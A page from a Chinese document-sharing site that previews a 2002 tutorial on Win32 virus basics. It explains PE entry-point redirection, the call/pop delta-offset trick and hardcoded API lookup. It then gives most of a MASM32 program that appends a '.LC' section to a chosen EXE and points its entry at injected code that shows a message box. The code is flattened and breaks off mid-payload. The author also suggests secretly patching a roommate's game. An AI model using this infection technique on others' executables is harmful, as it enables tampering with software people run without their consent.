为PE添加新节显示启动信息.docx_第1页
为PE添加新节显示启动信息.docx_第2页
为PE添加新节显示启动信息.docx_第3页
为PE添加新节显示启动信息.docx_第4页
为PE添加新节显示启动信息.docx_第5页
已阅读5页,还剩6页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

为PE文件添加新节显示启动信息发表:老罗 阅读: 210次关键字: 字体:大 中 小 病毒并不神秘,也不复杂。相当多的大侠已经在这方面作出了杰出的贡献,例如 29A 组织,我对他们的崇拜之情啊,真是咳咳,先别扔鸡蛋。其实我想说的是:技术是一柄双刃剑,我们应该把它运用在对社会有益的事情上。所以请勿利用本文的代码进行违法违纪的活动,否则本人保留追究的权利。本文的技术其实早已是老掉牙的东西了,so如果你已经懂得了编写病毒的方法,请跳过本文;如果你对病毒抱有好奇心,但是还没知道怎么编写,那么本文应该适合你。 :)言归正传。在 Windows 环境下,所有的可执行文件都是 PE 格式,因此编写病毒最重要的环节之一就是对 PE 文件进行操作。但是在此我不打算对 PE 格式进行讲解,请读者自行参考有关资料。我只对我在实际编写中遇到的难点进行分析:首先,计算机病毒之所以叫做病毒,是因为它跟自然界中病毒一样,都需要有一个宿主它本身是无法单独执行的。那么,当病毒寄生在宿主上后,怎样让它的代码执行呢?我们先来看一些概念。PE 的代码映象分为几个 SECTION,在文件中会对齐页边界(4K)。一般来说,文件会加载在 400000h 开始的空间,而第一个 SECTION 在 401000h 处,同时入口地址也是 401000h。这个入口地址 401000h 是怎么计算出来的呢?如果你查看 PE 头的 IMAGE_OPTIONAL_HEADER ,就会发现它的 ImageBase 一般是 400000h ,而 AddressOrEntryPoint 一般是 1000h 。 400000 + 1000 = 401000h ,明白了吧?掌握了这一点,我们就可以在 PE 中添加我们自己的新节,然后把这个入口地址改成指向新节的第一条代码。当新节执行完毕后,再把原入口恢复,这样一来就能继续执行宿主的代码了。在几乎每个 Win32 病毒的开头都有这样的语句:call nStartnStart:pop ebpsub ebp, offset nStart 这些语句是用来干嘛的呢?好像是吃饱了饭没事干哦其实不然。让我们来仔细考虑一下。当正常的 PE 程序执行时,它的基址(如前所述)一般是 400000h ,这个地址会由操作系统为你重定位,因此总是能保证程序被成功地装载运行。但是,如果我们在 PE 中插入了一段新的代码,假设它要从 654321h 处开始执行,那么事情就没有那么简单了。因为宿主程序并没有预料到这段代码的存在,而操作系统也不可能为你修正这个偏移。因此我们就要自己进行重定位操作。上面的语句就是取得病毒在宿主中的实际偏移地址。Call 指令实际上是 push 和 jmp 的组合。当 call nStart 时,实际上是把 call nStart 的下一条指令(也就是pop ebp)的地址压入堆栈然后 jmp 到 nStart ,由于之前已经把 pop ebp 的地址压入了堆栈,所以当真正执行到 pop ebp 这条指令的时候,实际上就是把 pop ebp 这条指令的地址放到了 ebp 中。这样就得到了当前病毒代码的真正的偏移地址。这也是病毒中常用的手法。几乎无一例外。接下来还有一个关键的问题。我们的病毒代码是附属在宿主上的,如果要在病毒中使用 API ,则必须首先得到 API 的入口地址。不过这可不是一件容易的事情啊。为什么这样说呢?让我们先来看看下面的代码:invoke ExitProcess, 0 在经过编译器的编译、连接后,它在内存中形如::00401015 Call 0040101A:0040101A Jmp dword ptr 00402000 也就是说,ExitProcess 的调用是通过 Call 0040101A ,而 0040101A 处的代码是一个 Jmp ,指向 00402000 ,这个 00402000 处储存的才是真正的 ExitProcess 的入口地址。为什么要经过那么多周折呢?呵呵,其实我也不知道。但是我们知道的是,调用一个 API 实际上是调用它在内存中的地址。而病毒由于是在宿主编译完之后才附属上去的,所以如果病毒要运行 API ,则必须自己指定 API 的入口地址。是不是很烦呢?Hoho,坚持一下吧,就快大功告成了。要得到 API 的入口地址,方法有很多种,例如可以通过硬编码,这是比较简单的方法,但是它的缺陷是不能在不同的 Windows 版本下运行,不过由于它实现起来比较简便,因此本文还是采用这种方法。在同一个版本的 Windows 下,同一个核心函数的入口总是固定不变的(指由 Kernel32, Gdi32, User32 导出的函数),所以我们就可以利用下面的方法得到 API 的入口:szDllName db User32, 0szMessageBoxA db MessageBoxA, 0MessageBoxA_Addr dd 0invoke GetModuleHandle, addr szDllNameinvoke LoadLibrary, addr szDllNameinvoke GetProcAddress, eax, addr szMessageBoxAmov MessageBoxA_Addr, eax 在病毒中我们就可以用 Call MessageBoxA_Addrebp 来执行 MessageBoxA 这个 API 了。好啦,我已经把我认为比较重要的难点解释了一次了,如果你还有什么不清楚的地方,欢迎给我来信。下面我给出了一个例子程序,它的作用是为 PE 文件添加一个新节以显示启动信息。这个东东会在 PE 文件的末尾添加一个新节,我给这个节命名为“.LC”,被附加的程序在运行的时候会先弹出一个对话框,显示我们的提示信息。你可以对它稍作修改,例如加上自己的版权信息,然后给 CS 的主程序打上这个“病毒”,接着呵呵,等着看舍友的惊讶的目光吧!实际上只要对它进行一些额外的补充,它就可以算是一个小小的病毒了。值得注意的是,本程序要对代码段进行写操作(也就是SMC),所以在编译连接的时候应该这样做:rc Add_Section.rcml /c /coff Add_Section.asmlink /subsystem:windows /section:.text,RWE Add_Section.res Add_Section.obj Have fun!;*;程序名称:为PE文件添加新节显示启动信息;作者:罗聪;日期:2002-11-10;出处:(老罗的缤纷天地);本代码使用了病毒技术,但纯粹只用于技术研究。;切记:请勿用于非法用途!;注意事项:如欲转载,请保持本程序的完整,并注明:;转载自“老罗的缤纷天地”();*.386.model flat, stdcalloption casemap:noneinclude masm32includewindows.incinclude masm32includekernel32.incinclude masm32includeuser32.incinclude masm32includecomdlg32.incincludelib masm32libkernel32.libincludelib masm32libuser32.libincludelib masm32libcomdlg32.libWndProc proto :DWORD, :DWORD, :DWORD, :DWORDAddNewSection proto :DWORD;很有用的宏:CTEXT MACRO y:VARARGLOCAL symCONST segmentifidni , sym db 0 else sym db y,0endifCONST endsexitm ENDM.constIDI_LC equ 1IDC_BUTTON_OPEN equ 3000MAXSIZE equ 260Head_Len equ sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER.dataszDlgName db lc_dialog, 0szCaption db Section Add demo by LC, 0ofn OPENFILENAME szFileName db MAXSIZE dup(0)szFilterString db PE 可执行文件, 0, *.exe, 0, 0szMyTitle db 请打开一个PE可执行文件, 0PE_Header IMAGE_NT_HEADERS My_Section IMAGE_SECTION_HEADER szDllName db User32, 0szMessageBoxA db MessageBoxA, 0.data?hInstance HINSTANCE ?.codemain:invoke GetModuleHandle, NULLmov hInstance, eaxinvoke DialogBoxParam, eax, offset szDlgName, 0, WndProc, 0invoke ExitProcess, eaxWndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM.if uMsg = WM_CLOSEinvoke EndDialog, hWnd, 0.elseif uMsg = WM_INITDIALOG;设置我的图标:invoke LoadIcon, hInstance, IDI_LCinvoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax.elseif uMsg = WM_COMMANDmov eax, wParammov edx, eaxshr edx, 16movzx eax, ax.if edx = BN_CLICKED.if eax = IDCANCELinvoke EndDialog, hWnd, NULL.elseif eax = IDC_BUTTON_OPEN | eax = IDOK;调用子程序,添加节:invoke AddNewSection, hWnd.endif.endif.elsemov eax, FALSEret.endifmov eax, TRUEretWndProc endpAddNewSection proc uses ecx hWnd:HWNDLOCAL hFile: HANDLELOCAL dwPE_Header_OffSet: DWORDLOCAL dwFileReadWritten: DWORDLOCAL dwMySectionOffSet: DWORDLOCAL dwLastSection_SizeOfRawData: DWORDLOCAL dwLastSection_PointerToRawData: DWORD;“打开文件”对话框:mov ofn.lStructSize, sizeof ofnpush hWndpop ofn.hwndOwnerpush hInstancepop ofn.hInstancemov ofn.lpstrFilter, offset szFilterStringmov ofn.lpstrFile, offset szFileNamemov ofn.nMaxFile, MAXSIZEmov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORERmov ofn.lpstrTitle, offset szMyTitleinvoke GetOpenFileName, addr ofn;如果没有选择文件名则退出:.if eax = 0jmp Err_CreateFile_Exit.endif;打开文件:invoke CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL.if eax = INVALID_HANDLE_VALUEinvoke MessageBox, hWnd, CTEXT(打开文件失败!), addr szCaption, MB_OK or MB_ICONHANDjmp Err_CreateFile_Exit.endifmov hFile, eax;*;读取PE文件头:;*invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGINinvoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULLinvoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGINinvoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL;*;判断是否有效的PE文件,是的话才继续:;*.if PE_Header.Signature != IMAGE_NT_SIGNATURE;如果不是有效的PE文件,就给出提示:invoke MessageBox, hWnd, CTEXT(这不是一个有效的Win32 PE文件!), addr szCaption, MB_OK or MB_ICONHANDjmp Exit.endif;*;判断是否有足够空间存储新节:;*movzx eax, PE_Header.FileHeader.NumberOfSections ;得到添加新节前有多少个节:mov ecx, 28h ;28h = sizeof IMAGE_SECTION_HEADERmul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADERadd eax, dwPE_Header_OffSet ;eax = eax + PE文件头偏移add eax, 18h ;18h = sizeof IMAGE_FILE_HEADERmovzx ecx, PE_Header.FileHeader.SizeOfOptionalHeaderadd eax, ecx ;eax = eax + sizeof IMAGE_OPTIONAL_HEADERadd eax, 28h ;添加一个新节的大小.if eax PE_Header.OptionalHeader.SizeOfHeaders;不够的话给出提示:invoke MessageBox, NULL, CTEXT(没有足够的空间来加入一个新节!), addr szCaption, MB_OK or MB_ICONHANDjmp Exit.endif;*;保存原入口,后面要用到:;*mov eax, PE_Header.OptionalHeader.AddressOfEntryPointmov Old_AddressOfEntryPoint, eaxmov eax, PE_Header.OptionalHeader.ImageBasemov Old_ImageBase, eax;*;计算新节的偏移地址:;(其实跟上面的“判断是否有足够空间存储新节”基本上一样);*movzx eax, PE_Header.FileHeader.NumberOfSectionsmov ecx, 28hmul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADERadd eax, 4h ;4h = sizeof PE00add eax, dwPE_Header_OffSetadd eax, sizeof IMAGE_FILE_HEADERadd eax, sizeof IMAGE_OPTIONAL_HEADERmov dwMySectionOffSet, eax ;现在得到了我们的新节的偏移地址;*;填充我们自己的节的信息:;(这部分请查看PE格式,很容易明白,不多说了);*mov dword ptr My_Section.Name1, CL. ;名字就叫做“.LC”吧,呵呵mov My_Section.Misc.VirtualSize, offset vEnd - offset vStartpush PE_Header.OptionalHeader.SizeOfImagepop My_Section.VirtualAddressmov eax, My_Section.Misc.VirtualSizemov ecx, PE_Header.OptionalHeader.FileAlignmentcdqdiv ecxinc eaxmul ecxmov My_Section.SizeOfRawData, eax ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值mov eax, dwMySectionOffSetsub eax, 18h ;这个偏移是定位到最后一节的“SizeOfRawData”invoke SetFilePointer, hFile, eax, 0, FILE_BEGINinvoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULLinvoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL;每个节的 PointerToRawData 等于它的上一节的 SizeOfRawData + PointerToRawData:mov eax, dwLastSection_SizeOfRawDataadd eax, dwLastSection_PointerToRawDatamov My_Section.PointerToRawData, eaxmov My_Section.PointerToRelocations, 0hmov My_Section.PointerToLinenumbers, 0hmov My_Section.NumberOfRelocations, 0hmov My_Section.NumberOfLinenumbers, 0hmov My_Section.Characteristics, 0E0000020h ;可读可写可执行;*;重新写入IMAGE_SECTION_HEADER:(包含了新节的信息);*invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGINinvoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL;*;得到 MessageBoxA 的线性地址:;*invoke GetModuleHandle, addr szDllNameinvoke LoadLibrary, addr szDllNameinvoke GetProcAddress, eax, addr szMessageBoxAmov MessageBoxA_Addr, eax;*;在文件的最后写入我们的新节:;*invoke SetFilePointer, hFile, 0, 0, FILE_ENDpush 0lea eax, dwFileReadWrittenpush eaxpush My_Section.SizeOfRawDatalea eax, vStartpush eaxpush hFilecall WriteFile;*;改写IMAGE_NT_HEADERS,使新节可以首先执行:;(需要改写 SizeOfImage 和 AddressOfEntryPoint);*inc PE_Header.FileHeader.NumberOfSectionsmov eax, My_Section.Misc.VirtualSizemov ecx, PE_Header.OptionalHeader.SectionAlignmentcdqdiv ecxinc eaxmul ecxadd eax, PE_Header.OptionalHeader.SizeOfImagemov PE_Header.OptionalHeader.SizeOfImage, eax ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值mov eax, My_Section.VirtualAddressmov PE_Header.OptionalHeader.AddressOfEntryPoint, eax ;现在的 AddressOfEntryPoint 是指向新节的第一条指令invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGINinvoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL;*;完成!显示成功信息:;*invoke MessageBox, hWnd, CTEXT(添加新节成功!), addr szCaption, MB_OK or MB_ICONINFORMATIONExit:;关闭文件:invoke CloseHandle, hFileErr_CreateFile_Exit:retAddNewSection endp;*;呵呵,我们自己的东东:(像不像病毒?);*vStart:call nStartnStart:pop ebpsub ebp, offset nStart ;得到新节在文件中的实际偏移地址;显示对话框:push MB_OK or MB_I

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论